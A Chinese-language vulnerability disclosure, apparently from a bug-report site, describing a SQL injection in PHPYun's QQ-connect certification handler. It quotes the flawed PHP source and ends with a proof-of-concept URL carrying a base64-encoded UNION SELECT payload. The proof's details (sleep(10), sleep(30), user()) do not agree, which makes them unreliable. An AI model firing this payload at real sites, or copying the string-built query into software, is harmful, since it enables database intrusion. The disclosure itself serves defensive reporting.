### 简要描述：
处理不当导致注入，绕过waf
### 详细说明：
在/model/qqconnect.class.php文件中：
```
function cert_action(){
$id=$_GET['id'];
$arr=@explode("|",base64_decode($id));
if($id && is_array($arr) && $arr[0] && $arr[2]==$this->config['coding']){
$row=$this->obj->DB_select_once("company_cert","`uid`='".$arr[0]."' and `check2`='".$arr[1]."'");
if(is_array($row)){
if($row[status]!=1){
$value.="`cert`=concat(`cert`,',1'),";
}
$id=$this->obj->DB_update_all("company_cert","`status`='1'","`uid`='".$arr[0]."' and `check2`='".$arr[1]."'");
if($_GET['type']=="3"){
$value.="`email`='".$row['check']."'";
$id?$this->obj->DB_update_all("lt_info",$value,"`uid`='".$arr[0]."' "):"";
}else{
$value.="`linkmail`='".$row['check']."'";
$id?$this->obj->DB_update_all("company",$value,"`uid`='".$arr[0]."' "):"";
}
$id?$this->obj->ACT_msg($this->config['sy_weburl']."/member","认证成功"):$this->obj->ACT_msg($this->config['sy_weburl'],"认证失败，联系管理员认证");
}else{
$this->obj->ACT_msg($this->config['sy_weburl'],"认证失败，请检查来路","2");
}
}else{
$this->obj->ACT_msg($this->config['sy_weburl'],"非法操作！","2");
}
}
```
代码从$_GET中获取id参数然后base64解码后按|分隔，其中第0个元素和第1个元素进入了SQL查询，但在此之前有个判断：
```
if($id && is_array($arr) && $arr[0] && $arr[2]==$this->config['coding']){
```
这里$this->config['coding']默认为null，当我们只提交两个元素的数组时，$arr[2]也为null，因此$arr[2]==$this->config['coding']，条件成立进入判断所以注入发生：
```
if($id && is_array($arr) && $arr[0] && $arr[2]==$this->config['coding']){
$row=$this->obj->DB_select_once("company_cert","`uid`='".$arr[0]."' and `check2`='".$arr[1]."'");
```
DB_select_once:
```
function DB_select_once($tablename, $where = 1, $select = "*") {
$cachename=$tablename.$where;
if(!$return=$this->Memcache_set($cachename)){
$SQL = "SELECT ".$select." FROM " . $this->def . $tablename . " WHERE ".$where." limit 1";
$query = $this->db->query($SQL);
$return=$this->db->fetch_array($query);
$this->Memcache_set($cachename,$return);
}
return $return;
}
```
query函数：
```
public function query($sql) {
if ($sql == "") {
$this->show_error("SQL语句错误：", "SQL查询语句为空");
}
$this->sql = $sql;
$result = mysql_query($this->sql, $this->conn);
if (!$result) {
//调试中使用，sql语句出错时会自动打印出来
if ($this->show_error) {
$this->show_error("错误SQL语句：", $this->sql);
}
} else {
$this->result = $result;
}
if(1==1){
global $starttime;
$dbbug_error2[]="
";
$dbbug_error2[sql]=$this->sql."
";
$dbbug_error2["time"]=$this->getmicrotime()-$starttime."
";
//$dbbug_error2[]="
";
//print_r($dbbug_error2);//查看sql语句
$this->debug=$dbbug_error;
}
return $this->result;
}
```
### 漏洞证明：
提交
```
http://www.evil.com/phpyun/index.php?M=qqconnect&C=cert&id=enR6JyBhbmQgMT0yIHVuaW9uIHNlbGVjdCB1c2VyKCksMiwzLDQsNSw2LDcsOCw5OyN8enR6
```
id是ztz' and 1=2 union select sleep(10),2,3,4,5,6,7,8,9;#|ztz的base64编码
拼接的SQL语句为：
```
SELECT * FROM phpyun_company_cert WHERE `uid`='ztz' and 1=2 union select sleep(30),2,3,4,5,6,7,8,9;#' and `check2`='ztz' limit 1
```
执行后sleep了30s
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